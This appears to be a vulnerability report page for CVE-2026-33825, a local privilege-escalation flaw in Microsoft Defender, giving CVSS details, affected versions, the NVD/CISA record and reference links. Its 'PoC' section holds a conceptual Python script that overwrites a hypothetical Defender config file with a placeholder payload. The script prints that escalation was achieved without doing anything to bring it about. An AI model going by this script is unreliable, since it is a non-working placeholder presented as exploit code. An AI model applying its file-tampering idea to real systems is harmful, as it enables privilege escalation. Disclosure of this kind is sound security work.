Security Vulnerability Report
中文
CVE-2026-33825 CVSS 7.8 HIGH

CVE-2026-33825

Published: 2026-04-14 18:17:35
Last Modified: 2026-04-23 19:05:04

Description

Insufficient granularity of access control in Microsoft Defender allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:defender_antimalware_platform:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Defender (具体受影响版本请参考官方通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-33825 # This script demonstrates a potential exploitation path by modifying a vulnerable Defender file. # Note: This is for educational purposes only. import os import ctypes def exploit(): # Identify a vulnerable Defender directory/file (hypothetical path) target_path = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.24080.4\\vulnerable_config.bin" # Check if we have write access (simulating the access control granularity issue) if os.access(target_path, os.W_OK): print("[*] Target file is writable. Exploiting...") # Malicious payload content payload = "MALICIOUS_CONFIG_OVERRIDE" try: # Write the payload with open(target_path, 'w') as f: f.write(payload) print("[+] Payload written. Triggering Defender service update...") # In a real scenario, trigger the service or wait for the system to load the file print("[+] Privilege escalation potentially achieved.") except Exception as e: print(f"[-] Exploit failed: {e}") else: print("[-] Target is not writable.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33825", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:35.100", "lastModified": "2026-04-23T19:05:04.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient granularity of access control in Microsoft Defender allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-04-22", "cisaActionDue": "2026-05-06", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft Defender Insufficient Granularity of Access Control Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1220"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:defender_antimalware_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.18.26030.3011", "matchCriteriaId": "6EAD29A5-76E3-454D-A56D-46706F02347F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33825", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}, {"url": "https://www.huntress.com/blog/nightmare-eclipse-intrusion", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}